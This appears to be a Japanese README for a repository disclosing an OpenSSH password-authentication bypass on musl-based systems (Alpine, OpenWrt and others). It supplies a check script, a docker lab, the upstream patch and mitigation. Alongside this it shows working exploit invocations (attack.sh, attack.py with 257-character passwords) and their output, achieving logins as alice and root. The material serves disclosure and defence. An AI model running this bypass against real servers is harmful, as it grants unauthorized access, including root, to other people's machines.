musl linux(alpine、openwrt、buildroot、yocto)上の openssh では、パスワードとして * が設定されている任意のアカウントに、256 文字より長い任意のパスワードでログインできてしまいます。つまり root、鍵認証のみのユーザー、ldap ユーザー、alpine のクラウドイメージ上の alpine ユーザーなどが該当します。2016 年からずっとです。
詳細は sshhole.com にあります。このリポジトリには、自分のマシンを確認するためのスクリプト、自分で試せる docker セットアップ、そしてパッチが含まれています。
2026-11-05 に openssh 10.6p2 で修正されました。alpine のパッケージもリリース済みです。
curl -sO https://raw.githubusercontent.com/oz9un/sshole/main/check.sh
sudo sh check.sh
libc musl
sshd OpenSSH_10.3p1, OpenSSL 3.5.9 29 Sep 2026
pam off (not built in)
PasswordAuthentication yes
accounts with '*' root alice deploy
sha-crypt hash present yes (bob)
EXPOSED. anyone can log in as: root alice deploy
fix: apk upgrade openssh (10.6p2), or set PasswordAuthentication no until you can.
以下がすべて当てはまる場合にのみ影響を受けます。当てはまらない場合、スクリプトがどれが欠けているかを教えてくれます:
openssh-server パッケージはこれに該当します。UsePAM yes を設定した openssh-server-pam は安全ですPasswordAuthentication yes がある (これがデフォルトです)* である$5$ または $6$ パスワードハッシュがある (誰か、誰でもよいので、passwd を実行した)glibc、pam、PasswordAuthentication no、openbsd、freebsd、macos: 影響を受けません。ここで読むのをやめて構いません。
docker が必要です。これは openssh-server とデフォルト設定を備えた通常の alpine 3.24 をビルドします。alice は * を持ち、bob は実際のパスワードを持ちます。
cd poc
docker build -t sshhole .
docker run -d --rm --name sshhole -p 127.0.0.1:2222:22 sshhole
./attack.sh 127.0.0.1 2222 alice
Permission denied, please try again.
uid=1000(alice) gid=1000(alice) groups=1000(alice)
RESULT: logged in as alice
2つのプロンプト。1つ目は任意、2つ目は300個のA。これがエクスプロイトです。
PermitRootLogin yesが設定されていればrootも同様に機能します:
docker rm -f sshhole
docker run -d --rm --name sshhole -p 127.0.0.1:2222:22 sshhole /usr/sbin/sshd -D -e -o PermitRootLogin=yes
./attack.sh 127.0.0.1 2222 root
attack.py は paramiko を使って同じことを行い、パスワードの長さを選択できるため、256 では失敗し 257 では成功することを確認できます:
pip install paramiko
python3 attack.py 127.0.0.1 2222 alice 256 # rejected
python3 attack.py 127.0.0.1 2222 alice 257 # logged in
古い alpine バージョンの場合: docker build --build-arg BASE=alpine:3.21 -t sshhole . 少なくとも 3.18 までは動作します。試した中で最も古いものは 2017 年の musl 1.1.16 上の openssh 7.5p1 で、そこでも動作しました。
patch/4353fdc43-avoid-password-authn-bypass.patch は上流の修正をそのまま変更せずに提供したもので、古いバージョンに適用する必要がある場合に使用できます。7.3p1 以降のあらゆるバージョンで動作します。保存されたフィールドが実際のハッシュとしては短すぎる場合に sshd が比較をスキップするようにし、さらに libc の静的バッファへのポインタの使用も停止します。
今すぐ更新できない場合は、sshd_config で PasswordAuthentication no を設定してください。これで完全に塞がります。
pw_password = "*" # alice has no password
salt = NULL # "*" is too short to be a salt
salt = pick_salt() # so sshd takes bob's: "$6$abc$"
hash = crypt("AAAA…x300", "$6$abc$") # musl: key is over 256 bytes -> returns "*"
strcmp(hash, pw_password) == 0 # "*" == "*"
return 1 # welcome, alice
sshd は 90 年代からこのように * と比較してきた。musl は 2012 年に失敗時に * を返すようになった。sshd は 2016 年に他のアカウントのソルトを使い始めた。タイムラインを参照。
完全なテストセットアップ(qemu 上のクラウドイメージ、openwrt、buildroot、ldap および ad ユーザーなど、17 の環境)、普及率の数値、ディストリビューション別の表は解説記事に含まれている。これらは後日公開されるかもしれない。このリポジトリは意図的に小さくしている。
mit license.